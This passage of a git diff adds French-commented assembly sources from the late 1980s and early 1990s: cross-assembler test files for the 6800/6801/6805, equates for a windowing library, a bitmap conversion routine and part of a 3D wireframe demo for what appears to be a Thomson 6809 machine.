+*  STAA [<]<exp. 8 bits>      direct
+*  STAA [<]<exp. 8 bits>,X indexe offset
+*                          8 bits
+*  STAA [>]<exp.16 bits>
+*
+*     si '>'  impose mode étendu
+*     si '>'  impose mode étendu
+*     si rien fait au mieux selon expres
+*---------------------------------------
+
+T3     STAA   VAR
+       STAA   PORTF
+       STAA   <VAR
+       STAA   >VAR
+       STAA   VAR,X
+       STAA   <VAR,X
+       STA    VAR     *
+       STAB   VAR
+       STB    VAR     *
+       STX    VAR
+       STS    VAR
+
+
+* Assemblage type 4 et 5
+*
+*  ADDA #<exp. 8/16 bits>
+*  ADDA [<]<exp. 8 bits>
+*  ADDA [<]<exp. 8 bits>,X
+*  ADDA [>]<exp. 16 bits>
+*
+*     si '>'  impose mode étendu
+*     si '>'  impose mode étendu
+*     si rien fait au mieux selon expres
+*---------------------------------------
+
+T45    ADDA   #CNST1
+       ADDA   #25
+       ADDA   #$23
+       ADDA   VAR
+       ADDA   PORTF
+       ADDA   <VAR
+       ADDA   >VAR
+       ADDA   VAR,X
+       ADDA   <$12,X
+       ADDB   #25
+       ADCA   #25
+       ADCB   #25
+       ANDA   #25
+       ANDB   #25
+       BITA   #25
+       BITB   #25
+       CMPA   #25
+       CMPB   #25
+       EORA   #25
+       EORB   #25
+       LDAA   #25
+       LDA    #25     *
+       LDAB   #25
+       LDB    #25     *
+       ORAA   #25
+       ORA    #25     *
+       ORAB   #25
+       ORB    #25     *
+       SUBA   #25
+       SUBB   #25
+       SBCA   #25
+       SBCB   #25
+       CPX    #25
+       CMPX   #25     *
+       LDX    #25
+       LDS    #25
+
+FINPRG EQU    *
+       END
diff --git a/code/3rdparty/sources1-hmel/ESS6801.ASM b/code/3rdparty/sources1-hmel/ESS6801.ASM
new file mode 100644
index 0000000..576b863
--- /dev/null
+++ b/code/3rdparty/sources1-hmel/ESS6801.ASM
@@ -0,0 +1,235 @@
+****************************************
+*                                      *
+*  Essai de l'assembleur croisé 6801   *
+*                                      *
+****************************************
+
+       TITLE  ESSAIASM6801
+
+LED    EQU    3       bit commande led
+SWITCH EQU    7       bit interrupteur
+PORTB  EQU    $0001
+PORTF  EQU    $ABCD
+FLG    SET    50
+
+       ORG    $0010   ram
+
+MEMPT  RMB    2
+VAR    RMB    1
+
+       PAGE
+       ORG    $0080   rom
+
+CNST1  FCB    10
+CNST2  FDB    $1234
+MESS   FCC    'SALUTOHBRICOLEUR'
+*      INCLUD FILE    include mis en
+*                     commentaire !!
+
+
+* Assemblage type 0
+*
+*   adressage inherent
+*---------------------------------------
+
+T0     ABA
+       CLRA
+       CLRB
+       CBA
+       COMA
+       COMB
+       NEGA
+       NEGB
+       DAA
+       DECA
+       DECB
+       INCA
+       INCB
+       PSHA
+       PSHB
+       PULA
+       PULB
+       ROLA
+       ROLB
+       RORA
+       RORB
+       ASLA
+       ASLB
+       ASRA
+       ASRB
+       LSRA
+       LSRB
+       LSLA           *
+       LSLB           *
+       SBA
+       TAB
+       TBA
+       TSTA
+       TSTB
+       DEX
+       DECX           *
+       DES
+       DECS           *
+       INX
+       INCX           *
+       INS
+       INCS           *
+       TXS
+       TSX
+       NOP
+       RTI
+       RTS
+       SWI
+       WAI
+       WAIT           *
+       CLC
+       CLI
+       CLV
+       SEC
+       SEI
+       SEV
+       TAP
+       TPA
+       ABX
+       ASLD
+       LSRD
+       MUL
+       PSHX
+       PULX
+
+
+* Assemblage type 1
+*
+*   adressage PC relatif -128..+127
+*
+*   BRA   LABEL
+*   BRA   LABEL+1
+*   BRA   *+25
+*---------------------------------------
+
+T1     BRA    *
+       BCC    T10
+       BCS    T1
+       BEQ    *
+       BGE    *
+       BGT    *
+       BHI    *
+       BLE    *
+       BLS    *
+       BLT    *
+       BMI    *
+       BNE    *
+       BVC    *
+       BVS    *
+       BPL    *
+T10    BSR    *
+
+
+* Assemblage type 2
+*
+*   CLR [<]<exp. 8 bits>,X indexe offset
+*                          sur 8 bits
+*   CLR [>]<exp.16 bits>
+*---------------------------------------
+
+T2     CLR    VAR,X
+       CLR    <VAR,X
+       CLR    VAR
+       CLR    >VAR
+       COM    VAR
+       NEG    VAR
+       DEC    VAR
+       INC    VAR
+       ROL    VAR
+       ROR    VAR
+       ASL    VAR
+       ASR    VAR
+       LSR    VAR
+       LSL    VAR     *
+       TST    VAR
+       JMP    PORTF
+       JSR    T1
+
+
+* Assemblage type 3
+*
+*  STAA [<]<exp. 8 bits>      direct
+*  STAA [<]<exp. 8 bits>,X indexe offset
+*                          8 bits
+*  STAA [>]<exp.16 bits>
+*
+*     si '>'  impose mode étendu
+*     si '>'  impose mode étendu
+*     si rien fait au mieux selon expres
+*---------------------------------------
+
+T3     STAA   VAR
+       STAA   PORTF
+       STAA   <VAR
+       STAA   >VAR
+       STAA   VAR,X
+       STAA   <VAR,X
+       STA    VAR     *
+       STAB   VAR
+       STB    VAR     *
+       STX    VAR
+       STS    VAR
+       STAD   VAR
+       STD    VAR     *
+
+
+* Assemblage type 4 et 5
+*
+*  ADDA #<exp. 8/16 bits>
+*  ADDA [<]<exp. 8 bits>
+*  ADDA [<]<exp. 8 bits>,X
+*  ADDA [>]<exp. 16 bits>
+*
+*     si '>'  impose mode étendu
+*     si '>'  impose mode étendu
+*     si rien fait au mieux selon expres
+*---------------------------------------
+
+T45    ADDA   #CNST1
+       ADDA   #25
+       ADDA   #$23
+       ADDA   VAR
+       ADDA   PORTF
+       ADDA   <VAR
+       ADDA   >VAR
+       ADDA   VAR,X
+       ADDA   <$12,X
+       ADDB   #25
+       ADCA   #25
+       ADCB   #25
+       ANDA   #25
+       ANDB   #25
+       BITA   #25
+       BITB   #25
+       CMPA   #25
+       CMPB   #25
+       EORA   #25
+       EORB   #25
+       LDAA   #25
+       LDA    #25     *
+       LDAB   #25
+       LDB    #25     *
+       ORAA   #25
+       ORA    #25     *
+       ORAB   #25
+       ORB    #25     *
+       SUBA   #25
+       SUBB   #25
+       SBCA   #25
+       SBCB   #25
+       CPX    #25
+       CMPX   #25     *
+       LDX    #25
+       LDS    #25
+       ADDD   #25
+       LDAD   #25
+       LDD    #25     *
+       SUBD   #25
+
+FINPRG EQU    *
+       END
diff --git a/code/3rdparty/sources1-hmel/ESS6805.ASM b/code/3rdparty/sources1-hmel/ESS6805.ASM
new file mode 100644
index 0000000..2906c59
--- /dev/null
+++ b/code/3rdparty/sources1-hmel/ESS6805.ASM
@@ -0,0 +1,230 @@
+****************************************
+*                                      *
+*  Essai de l'assembleur croisé 6805   *
+*                                      *
+*--------------------------------------*
+*                                      *
+* les instuctions commentées par *     *
+* sont des mnémos ajoutés par esprit   *
+* cartésien et soucis de cohérence     *
+* avec le code 6809 !!!                *
+*                                      *
+****************************************
+
+       TITLE  ESSAIASM6805
+
+LED    EQU    3       bit commande led
+SWITCH EQU    7       bit interrupteur
+PORTB  EQU    $0001
+FLG    SET    50
+
+       ORG    $0010   ram
+
+MEMPT  RMB    2
+VAR    RMB    1
+
+       PAGE
+       ORG    $0080   rom
+
+CNST1  FCB    10
+CNST2  FDB    $1234
+MESS   FCC    'SALUTOHBRICOLEUR'
+*      INCLUD FILE    include mis en
+*                     commentaire !!
+
+
+* Assemblage type 0
+*
+*   adressage inherent
+*---------------------------------------
+
+T0     TAX
+       TXA
+       SEC
+       CLC
+       SEI
+       CLI
+       SWI
+       RTS
+       RTI
+       RSP
+       NOP
+       STOP
+       WAIT
+       INCA
+       INCX
+       DECA
+       DECX
+       CLRA
+       CLRX
+       COMA
+       COMX
+       NEGA
+       NEGX
+       ROLA
+       ROLX
+       RORA
+       RORX
+       LSLA
+       LSLX
+       LSRA
+       LSRX
+       ASLA           *
+       ASLX           *
+       ASRA
+       ASRX
+       TSTA
+       TSTX
+
+
+* Assemblage type 1
+*
+*   adressage PC relatif -128..+127
+*
+*   BRA   LABEL
+*   BRA   LABEL+1
+*   BRA   *+25
+*---------------------------------------
+
+T1     BRA    *
+       BRN    T1
+       BHI    *
+       BLS    *
+       BCC    *
+       BHS    *
+       BCS    *
+       BLO    *
+       BNE    *
+       BEQ    *
+       BHCC   *
+       BHCS   *
+       BPL    *
+       BMI    *
+       BMC    *
+       BMS    *
+       BIL    *
+       BIH    *
+       BSR    *
+
+
+* Assemblage type 2
+*
+*   INC [<]<exp. 8 bits>   direct
+*
+*   INC ,X                 indexe pas
+*                          d'offset
+*   INC [<]<exp. 8 bits>,X indexe offset
+*                          sur 8 bits
+*---------------------------------------
+
+T2     INC    VAR
+       INC    ,X
+       INC    CNST2,X
+       DEC    VAR
+       CLR    VAR
+       COM    VAR
+       NEG    VAR
+       ROL    VAR
+       ROR    VAR
+       LSL    VAR
+       LSR    VAR
+       ASL    VAR     *
+       ASR    VAR
+       TST    VAR
+
+
+* Assemblage type 3
+*
+*   BRSET #<exp. 3 bits>,
+*         [<]<exp. 8 bits>,
+*         <déplacement relat. -128..127>
+*---------------------------------------
+
+T3     BRSET  #SWITCH,PORTB,T1
+       BRCLR  #SWITCH,<PORTB,T2
+
+
+* Assemblage type 4
+*
+*   BSET #<exp. 3 bits>,
+*        [<]<exp. 8 bits>
+*---------------------------------------
+
+T4     BSET   #LED,PORTB
+       BCLR   #LED,<PORTB
+
+
+* Assemblage type 5
+*
+*   STA [<]<exp. 8 bits>
+*   STA [>]<exp. 16 bits>
+*   STA ,X
+*   STA [<]<exp. 8 bits>,X
+*   STA [>]<exp. 16 bits>,X
+*
+* Nb: si '<'  impose mode direct
+*     si '>'  impose mode étendu
+*     si rien fait au mieux selon expres
+*---------------------------------------
+
+T5     STA    VAR
+       STA    >VAR
+       STA    ,X
+       STA    <VAR,X
+       STA    >VAR,X
+       STX    VAR
+       JMP    T1
+       JMP    FINPRG
+       JMP    ,X
+       JMP    T1,X
+       JMP    FINPRG,X
+       JSR    T1
+
+
+* Assemblage type 6
+*
+*   LDA #<exp. 8 bits>
+*   LDA [<]<exp. 8 bits>
+*   LDA [>]<exp. 16 bits>
+*   LDA ,X
+*   LDA [<]<exp. 8 bits>,X
+*   LDA [>]<exp. 16 bits>,X
+*
+* Nb: si '<'  impose mode direct
+*     si '>'  impose mode étendu
+*     si rien fait au mieux selon expres
+*---------------------------------------
+
+T6     LDA    #CNST1
+       LDA    #25
+       LDA    #$23
+       LDA    VAR
+       LDA    >VAR
+       LDA    $1000
+       LDA    ,X
+       LDA    <VAR,X
+       LDA    >$1235,X
+       LDX    #CNST1
+       ADD    #CNST1
+       ADC    #CNST1
+       SUB    #CNST1
+       SBC    #CNST1
+       AND    #CNST1
+       ORA    #CNST1
+       EOR    #CNST1
+       CMP    #CNST1
+       CPX    #CNST1
+       BIT    #CNST1
+
+       ADDA   #CNST1    *
+       ADCA   #CNST1    *
+       SUBA   #CNST1    *
+       SBCA   #CNST1    *
+       ANDA   #CNST1    *
+       EORA   #CNST1    *
+       CMPA   #CNST1    *
+       CMPX   #CNST1    *
+       BITA   #CNST1    *
+
+FINPRG EQU    *
+       END
diff --git a/code/3rdparty/sources1-hmel/FEN-EQU.ASM b/code/3rdparty/sources1-hmel/FEN-EQU.ASM
new file mode 100644
index 0000000..093064a
--- /dev/null
+++ b/code/3rdparty/sources1-hmel/FEN-EQU.ASM
@@ -0,0 +1,176 @@
+       TITLE  FEN:    parametres
+*      --------------------------
+       PAGE
+
+****************************************
+*                                      *
+*    Parametres du FENETRAGE TO-FEN    *
+*                                      *
+****************************************
+
+
+
+* Couleurs
+*---------------------------------------
+
+NOIR   EQU    0
+ROUGE  EQU    1
+VERT   EQU    2
+JAUNE  EQU    3
+BLEU   EQU    4
+MAGENT EQU    5
+CYAN   EQU    6
+BLANC  EQU    7
+GRIS   EQU    8
+ROSE   EQU    9
+VERTCL EQU    10
+SABLE  EQU    11
+BLEUCL EQU    12
+PARME  EQU    13
+BLEUCI EQU    14
+ORANGE EQU    15
+
+TRANSP EQU    $FF     non gere = transp.
+
+
+* Blocs de descripteurs de fenetres
+*---------------------------------------
+
+FLOCA  EQU    0
+FLOCF  EQU    1
+FLOCR  EQU    2
+FTOURI EQU    3
+FTOURE EQU    4
+FCADRE EQU    5
+FCOULF EQU    6
+FFOND  EQU    7
+FTRAME EQU    8
+FMASQ  EQU    9
+FINVVD EQU    10
+FTEXTE EQU    11
+FEDI   EQU    12
+FCALL  EQU    13
+FDO    EQU    14
+FLOOP  EQU    15
+FSTOP  EQU    16
+FPOUSS EQU    17
+FINV   EQU    18
+FCOMF  EQU    19
+FCZI   EQU    20
+
+
+* Deplacement des indirection vers les
+* S/P de fenetrage dans le binaire
+* relogeable.
+* Nb: BASEF doit etre prealablement
+*     equivalence a l'adresse d'implant.
+*     du binaire
+*---------------------------------------
+
+FENINI EQU    BASEF+0
+FENFIN EQU    BASEF+3
+FENOUV EQU    BASEF+6
+FENRPL EQU    BASEF+9
+FENFER EQU    BASEF+12
+FENACT EQU    BASEF+15
+FENDES EQU    BASEF+18
+FEN    EQU    BASEF+21
+FENLCZ EQU    BASEF+24
+FENCH  EQU    BASEF+27
+FENVIS EQU    BASEF+30
+FENLOC EQU    BASEF+33
+FENLOF EQU    BASEF+36
+FENLOR EQU    BASEF+39
+FENTI  EQU    BASEF+42
+FENTE  EQU    BASEF+45
+FENCAD EQU    BASEF+48
+FENCF  EQU    BASEF+51
+FENFON EQU    BASEF+54
+FENTRA EQU    BASEF+57
+FENMAS EQU    BASEF+60
+FENIVD EQU    BASEF+63
+FENSEL EQU    BASEF+66
+FENTXT EQU    BASEF+69
+FENPUT EQU    BASEF+72
+FENEDI EQU    BASEF+75
+FENTOR EQU    BASEF+78
+FENERR EQU    BASEF+81
+
+SOUDAN EQU    BASEF+84
+DECBIN EQU    BASEF+87
+SIGBIN EQU    BASEF+90
+HEXBIN EQU    BASEF+93
+BINDCG EQU    BASEF+96
+BINDCD EQU    BASEF+99
+BINSGG EQU    BASEF+102
+BINSGD EQU    BASEF+105
+BINHX1 EQU    BASEF+108
+BINHX2 EQU    BASEF+111
+
+SBREAK EQU    BASEF+114
+TBREAK EQU    BASEF+117
+
+DOSSEL EQU    BASEF+120
+DOSDIR EQU    BASEF+123
+DOSFIL EQU    BASEF+126
+DOSCZI EQU    BASEF+129
+DOSINI EQU    BASEF+132
+DOSREN EQU    BASEF+135
+DOSSUP EQU    BASEF+138
+DOSDUP EQU    BASEF+141
+DOSCAT EQU    BASEF+144
+DOSTST EQU    BASEF+147
+DOSCNF EQU    BASEF+150
+DOSERR EQU    BASEF+153
+DOSCOU EQU    BASEF+156
+
+FENCNT EQU    BASEF+159
+
+
+* valeur de caractère pour l'édition
+* d'une balise de pointage par FENTXT
+*---------------------------------------
+
+BALISE EQU    $1D
+
+
+* Valeurs des entites d'une fenetre
+*---------------------------------------
+
+OFF    EQU    $00     touches
+ON     EQU    $01
+
+INTERD EQU    $FF     interdiction
+
+TEXTE  EQU    $00     saisies
+DECIM  EQU    $01
+SIGNE  EQU    $02
+HEXA   EQU    $03
+
+
+* Type des entites d'une fenetre
+*---------------------------------------
+
+POUSS  EQU    $00     poussoir
+INVERS EQU    $01     inverseur
+CHACZI EQU    $02     champ de saisie
+
+
+* Déplacements sur le descripteur d'une
+* entite fenetre
+*---------------------------------------
+
+CODEQU EQU    0       code equivalent
+TYP    EQU    1       POUSS:INVERS:CZI
+*                     ------------------
+VAL    EQU    2       OFF  :OFF   :TEXTE
+*                     ON   :ON    :DECIM
+*                          :      :SIGNE
+*                          :      :HEXA
+*                     INTER:INTERD:INTER
+
+RNG    EQU    3       rangee  debut
+COL    EQU    4       colonne debut
+HAUT   EQU    5       hauteur
+LARG   EQU    6       largeur
+SUIV   EQU    7       pointeur bloc suiv
diff --git a/code/3rdparty/sources1-hmel/SOURCE10.SAP b/code/3rdparty/sources1-hmel/SOURCE10.SAP
new file mode 100755
index 0000000..aee7f77
--- /dev/null
+++ b/code/3rdparty/sources1-hmel/SOURCE10.SAP
Binary files differ
diff --git a/code/3rdparty/sources1-hmel/SOURCE11.SAP b/code/3rdparty/sources1-hmel/SOURCE11.SAP
new file mode 100755
index 0000000..dee2d3f
--- /dev/null
+++ b/code/3rdparty/sources1-hmel/SOURCE11.SAP
Binary files differ
diff --git a/code/3rdparty/sources2-hcl/@BITMAP4.ASM b/code/3rdparty/sources2-hcl/@BITMAP4.ASM
new file mode 100644
index 0000000..47319bd
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/@BITMAP4.ASM
@@ -0,0 +1,113 @@
+****************************************
+*Conversion du BITMAP4 spécial en plans*
+****************************************
+
+       ORG    $9E00
+DIR    EQU    $9E
+Z      EQU    $DE
+
+G      PSHS   U,Y,X,DP,B,A,CC
+       ORCC   #80
+       LDA    #DIR
+       TFR    A,DP
+       CLR    $E7E5
+
+       LDU    #$A000
+       LDX    #$C000
+
+CONVER CLR    <Z
+       CLR    <Z+1
+
+       LDD    #$8080
+       BITA   ,X
+       BEQ    *+6
+       ORB    <Z+1
+       STB    <Z+1
+       LDD    #$4080
+       BITA   ,X
+       BEQ    *+6
+       ORB    <Z
+       STB    <Z
+       LDD    #$2040
+       BITA   ,X
+       BEQ    *+6
+       ORB    <Z+1
+       STB    <Z+1
+       LDD    #$1040
+       BITA   ,X
+       BEQ    *+6
+       ORB    <Z
+       STB    <Z
+       LDD    #$0820
+       BITA   ,X
+       BEQ    *+6
+       ORB    <Z+1
+       STB    <Z+1
+       LDD    #$0420
+       BITA   ,X
+       BEQ    *+6
+       ORB    <Z
+       STB    <Z
+       LDD    #$0210
+       BITA   ,X
+       BEQ    *+6
+       ORB    <Z+1
+       STB    <Z+1
+       LDD    #$0110
+       BITA   ,X
+       BEQ    *+6
+       ORB    <Z
+       STB    <Z
+
+       LDD    #$8008
+       BITA   ,U
+       BEQ    *+6
+       ORB    <Z+1
+       STB    <Z+1
+       LDD    #$4008
+       BITA   ,U
+       BEQ    *+6
+       ORB    <Z
+       STB    <Z
+       LDD    #$2004
+       BITA   ,U
+       BEQ    *+6
+       ORB    <Z+1
+       STB    <Z+1
+       LDD    #$1004
+       BITA   ,U
+       BEQ    *+6
+       ORB    <Z
+       STB    <Z
+       LDD    #$0802
+       BITA   ,U
+       BEQ    *+6
+       ORB    <Z+1
+       STB    <Z+1
+       LDD    #$0402
+       BITA   ,U
+       BEQ    *+6
+       ORB    <Z
+       STB    <Z
+       LDD    #$0201
+       BITA   ,U
+       BEQ    *+6
+       ORB    <Z+1
+       STB    <Z+1
+       LDD    #$0101
+       BITA   ,U
+       BEQ    *+6
+       ORB    <Z
+       STB    <Z
+
+       LDD    <Z
+       STA    ,U+
+       STB    ,X+
+       CMPX   #$DF40
+       LBNE   CONVER
+
+       PULS   CC,A,B,DP,X,Y,U,PC
+       FCC    "(c) HCL 92"
+       FDB    0
+ZZZEND
+       END
diff --git a/code/3rdparty/sources2-hcl/ANIMA3D.ASM b/code/3rdparty/sources2-hcl/ANIMA3D.ASM
new file mode 100644
index 0000000..1d6312b
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/ANIMA3D.ASM
@@ -0,0 +1,1480 @@
+****************************************
+*                                      *
+*      3D fil de fer by Doctor Lô      *
+*                                      *
+***************31-10-90*****************
+*             et 19-1-91               *
+*         éditeur le 26-1-91           *
+****************************************
+
+
+TEXTE  EQU    $7200
+OBJETS EQU    $7300
+EXEC   EQU    $89E0
+CENTRE EQU    $8A00
+SINUS  EQU    $8E00
+FONTES EQU    $9080
+LINKS  EQU    $917A
+CODE   EQU    $926A
+DIR    EQU    $9E
+Z      EQU    $D8
+CORDOS EQU    $9F00
+ECRAN  EQU    $C000-31*40
+ECRTXT EQU    $DE7A   adresse à l'écran
+HAUT   EQU    192
+QUAD   EQU    128
+NN     EQU    $8000   masque "non nul"
+
+
+       ORG    EXEC    procédure d'appel
+       ORCC   #80
+       LDD    #$20E
+       BSR    COPBNK
+       JSR    G
+       LDD    #$E02
+COPBNK LDX    #$A000  copie de la bank 2
+       STA    $E7E5   (basic) en bank 14
+       LDU    ,X
+       STB    $E7E5
+       STU    ,X++
+       CMPX   #$E000
+       BLO    *-13
+       RTS
+
+       ORG    LINKS
+       FDB    $25B,$B02,NN+12,ARETES
+       FCB    11,12,1,12
+       FDB    $373,$B00,0,COLOUR
+       FCB    0,13,2,13
+       FDB    $4E8,$200,0,SCROLL
+       FCB    1,14,3,14
+       FDB    $675,$800,OBJETS,NOBJ
+       FCB    2,3,4,3
+       FDB    $78D,$800,0,NOBJ
+       FCB    3,15,5,4
+       FDB    $8A5,$800,0,NOBJ
+       FCB    4,16,6,15
+       FDB    $9BD,$800,0,NOBJ
+       FCB    5,17,7,16
+       FDB    $AD5,$800,0,NOBJ
+       FCB    6,7,8,17
+       FDB    $BED,$800,0,NOBJ
+       FCB    7,8,9,8
+       FDB    $D80,$200,0,SCROLL
+       FCB    8,9,10,9
+       FDB    $151E,$A00,1,CENTR1
+       FCB    9,10,11,10
+       FDB    $1636,$A01,4,CENTR2
+       FCB    10,18,0,11
+       FDB    $274,$A03,511,ANGLES
+       FCB    19,0,13,0
+       FDB    $38C,$A03,511,ANGLES
+       FCB    12,1,14,1
+       FDB    $4A4,$A03,511,ANGLES
+       FCB    13,2,15,2
+       FDB    $7E8,$E03,511,SPEEDS
+       FCB    14,5,16,4
+       FDB    $900,$E03,511,SPEEDS
+       FCB    15,6,17,5
+       FDB    $A18,$E03,511,SPEEDS
+       FCB    16,7,18,6
+       FDB    $18F3,$A03,NN+999,WAITS
+       FCB    17,18,19,11
+       FDB    $1A0B,$A04,NN+9999,WAITS
+       FCB    18,19,12,19
+
+       ORG    CODE
+G      LDA    #$E7
+       EXG    A,DP
+       LDB    <$E6
+       STD    RDP+1
+       LDA    #$60    écran $4000-$5F40
+       STA    <$E6     (de l'éditeur)
+       CLR    <$DC      en cartouche
+
+       LDD    #32
+       STA    <$DB
+       STA    <$DA
+       DECB
+       BNE    *-3
+       LDX    #MAP    décompacte image
+       STX    $616B
+       LDD    #$FF0E
+       STA    $6249
+       STB    $616D
+       INCB
+       STB    <$E5
+       LDD    #$100
+       STD    $61D6
+       CLR    $6288
+       LDB    #69
+       JSR    $EC0C
+
+       LDB    #2      copie fond éditeur
+COPICT STB    <$E5      dans écran démo
+       LDX    #$DF40
+       CLR    ,-X
+       CMPX   #$C000
+       BNE    *-5
+       LDX    #$A000
+       LDU    #$2000
+       LDA    ,U
+       LDB    #40
+       STA    ,X+
+       DECB
+       BNE    *-3
+       LEAU   40,U
+       CMPX   #$BF40
+       BNE    *-15
+       LDB    <$E5
+       INCB
+       CMPB   #4
+       BNE    COPICT
+       LDD    ,--U
+       STD    ,--X
+       CMPX   #$BDD8
+       BNE    *-7
+       LDX    #$DDD8
+       LDU    #$1DD8
+       LDD    ,U++
+       STD    ,X++
+       CMPX   #$DF40
+       BNE    *-7
+       LDX    #$DE7A
+       LDY    #TEXTE
+       LDB    ,Y+
+       JSR    PUTC
+       CMPX   #$DE9E
+       BNE    *-8
+
+       LDA    #DIR
+       TFR    A,DP
+       LDD    #TEXTE  initialisations
+       STD    <Z+34
+       LDD    #ECRTXT
+       STD    <Z+36
+       LDD    #100      latence du texte
+       STD    WAITXT+1
+       STD    <Z+32
+       LDU    #OBJETS
+       JSR    DEFOBJ
+       LDA    #128
+       STA    $E7DD
+       LDA    #1
+       LDX    #256
+BLUES  TST    $E7E7   apparition 'fondu'
+       BMI    *-3
+       TST    $E7E7
+       BPL    *-3
+       TFR    A,B
+       LEAY   ,X
+       JSR    $EC00
+       INCA
+       CMPA   #7
+       BNE    *-8
+       TFR    B,A
+       LEAX   256,X
+       INCA
+       CMPA   #7
+       BNE    BLUES
+       LDA    #15
+       LDX    #-1
+       LEAY   1,X
+       JSR    $EC00
+       STX    MAP-34
+       LDX    #MAP-64
+       LDA    #-1
+       JSR    $EC00
+
+       LDA    #$62    scroll de la barre
+       STA    $E7E6
+       LDX    #$3DFF-40
+       STX    <Z
+       LDA    #1
+SONIA  STA    <Z+2
+       TST    $E7E7
+       BPL    *-3
+       TST    $E7E7
+       BMI    *-3
+       LDB    #9
+       STB    <Z+3
+       LDU    #$BDD8-40
+       STU    <Z+4
+HELENE LDX    <Z
+       LEAX   40,X
+       STX    <Z
+       LDU    <Z+4
+       LEAU   40,U
+       STU    <Z+4
+       LDB    <Z+2
+       LDA    ,U+
+       STA    ,X+
+       LDA    $1FFF,U
+       STA    -$2001,X
+       DECB
+       BNE    *-13
+       DEC    <Z+3
+       BNE    HELENE
+       LDX    <Z
+       LEAX   -361,X
+       STX    <Z
+       LDA    <Z+2
+       INCA
+       CMPA   #41
+       BNE    SONIA
+       LDA    #$60
+       STA    $E7E6
+
+BIGBCL LDD    #$2C0   boucle principale
+       STA    $E7E5
+       STB    $E7DD
+       BSR    IMAGE
+       LDD    #$380
+       STA    $E7E5
+       STB    $E7DD
+       BSR    IMAGE
+       TST    $E7C8
+       BEQ    BIGBCL
+       JSR    $E806
+       CMPB   #$99    sortie avec 'F10'
+       LBNE   EDITOR
+
+RDP    LDD    #0      retour au basic
+       TFR    A,DP
+       STB    $E7E6
+       CLR    $E7DD
+       LDX    #MAP-32
+       LDA    #255
+       JSR    $EC00
+       RTS
+
+IMAGE  STS    RS+2       génère un écran
+       LDA    #HAUT/12-1
+       STA    <Z
+       LDU    #VIDE    effacement total
+       PULU   D,X,Y,S
+       LDU    #ECRAN+(HAUT+28)*40-8
+RUB    FCC    /6v6v6v3P6v6v6v3P/
+       FCC    /6v6v6v3P6v6v6v3P/
+       FCC    /6v6v6v3P6v6v6v3P/
+       FCC    /6v6v6v3P6v6v6v3P/
+       FCC    /6v6v6v3P6v6v6v3P/
+       FCC    /6v6v6v3P6v6v6v3P/
+       DEC    <Z
+       BNE    RUB
+       FCC    /6v6v6v3P6v6v6v/
+
+       LDX    <Z+32   affiche une lettre
+       BEQ    *+8
+       LEAX   -1,X
+       STX    <Z+32
+       BRA    FAFTEX
+       LDY    <Z+34   où dans le texte
+       LDB    ,Y
+       LDA    #5
+       MUL
+       LDU    #FONTES
+       LEAU   D,U
+       LDX    <Z+36   position à l'écran
+       PULU   D
+       STA    -80,X
+       STB    -40,X
+       PULU   D
+       STA    ,X
+       STB    40,X
+       LDA    ,U
+       STA    80,X
+       INC    <Z+31
+       LDA    #1
+       BITA   <Z+31
+       BEQ    WAITXT+5
+       LEAX   1,X
+       LEAY   1,Y
+       LDB    ,Y
+       BPL    *+6
+       LDY    #TEXTE
+       CMPX   #ECRTXT+36
+       BNE    *+10
+       LDX    #ECRTXT
+WAITXT LDD    #0
+       STD    <Z+32
+       STX    <Z+36
+       STY    <Z+34
+
+FAFTEX LDX    <Z+38
+       LEAX   -1,X
+       STX    <Z+38
+       BNE    *+13
+       LDX    <Z+29
+       LDU    10,X
+       LDS    RS+2
+       JSR    DEFOBJ  objet suivant
+
+       LDU    <Z+18
+       LDA    ,U+     nbre de points
+       STA    <Z+14
+       LDS    #CORDOS
+       LDX    <Z+27   abcisse du centre
+       LDA    ,X
+       ANDA   #7
+       ADDA   #92
+       STA    ABCENT+1
+       LDB    ,X
+       LSRB
+       LSRB
+       LSRB
+VITCEN LEAX   7,X
+       CMPX   #CENTRE+512
+       BLO    *+6
+       LEAX   -512,X
+       STX    <Z+27
+       LDX    #ECRAN
+       ABX
+       STX    LINE1-28
+       STX    LINE2-26
+       STX    LINE3-28
+       STX    LINE4-26
+       LDX    #ECRAN+(HAUT+22)*40+24
+       ABX
+       STX    RUB-2
+
+**** rotation autour de (zz') ****
+COORD  LDX    <Z+8    pointe sur cos (a)
+       LDA    ,U      abcisse (X)
+       LDB    ,X
+       ANDA   #127
+       ANDB   #127
+       MUL
+       STD    <Z+4     ABS ( X * cos a )
+       LDA    ,U
+       EORA   ,X
+       BPL    *+9
+       LDD    #0
+       SUBD   <Z+4
+       STD    <Z+4
+
+       LDA    1,U     ordonnée (Y)
+       LDB    QUAD,X
+       ANDA   #127
+       ANDB   #127
+       MUL
+       STD    <Z+6     ABS ( Y * sin a )
+       LDA    1,U
+       EORA   QUAD,X
+       BPL    *+9
+       LDD    #0
+       SUBD   <Z+6
+       STD    <Z+6
+
+       LDD    <Z+4
+       SUBD   <Z+6
+       ASLB
+       ROLA
+       BCC    *+11
+       STD    <Z+4
+       LDD    #0
+       SUBD   <Z+4
+       ORA    #128
+       STA    <Z      X' = Xcosa - Ysina
+
+       LDA    ,U      abcisse (X)
+       LDB    QUAD,X
+       ANDA   #127
+       ANDB   #127
+       MUL
+       STD    <Z+4     ABS ( X * sin a )
+       LDA    ,U+
+       EORA   QUAD,X
+       BPL    *+9
+       LDD    #0
+       SUBD   <Z+4
+       STD    <Z+4
+
+       LDA    ,U      ordonnée (Y)
+       LDB    ,X
+       ANDA   #127
+       ANDB   #127
+       MUL
+       STD    <Z+6     ABS ( Y * cos a )
+       LDA    ,U+
+       EORA   ,X
+       BPL    *+9
+       LDD    #0
+       SUBD   <Z+6
+       STD    <Z+6
+
+       LDD    <Z+4
+       ADDD   <Z+6
+       ASLB
+       ROLA
+       BCC    *+11
+       STD    <Z+4
+       LDD    #0
+       SUBD   <Z+4
+       ORA    #128
+       STA    <Z+1    Y' = Xsina + Ycosa
+
+**** rotation autour de (yy') ****
+
+       LDX    <Z+10   pointe sur cos (b)
+       LDA    ,U      cote (Z)
+       LDB    ,X
+       ANDA   #127
+       ANDB   #127
+       MUL
+       STD    <Z+4     ABS ( Z * cos b )
+       LDA    ,U
+       EORA   ,X
+       BPL    *+9
+       LDD    #0
+       SUBD   <Z+4
+       STD    <Z+4
+
+       LDA    <Z      abcisse (X)
+       LDB    QUAD,X
+       ANDA   #127
+       ANDB   #127
+       MUL
+       STD    <Z+6     ABS ( X * sin b )
+       LDA    <Z
+       EORA   QUAD,X
+       BPL    *+9
+       LDD    #0
+       SUBD   <Z+6
+       STD    <Z+6
+
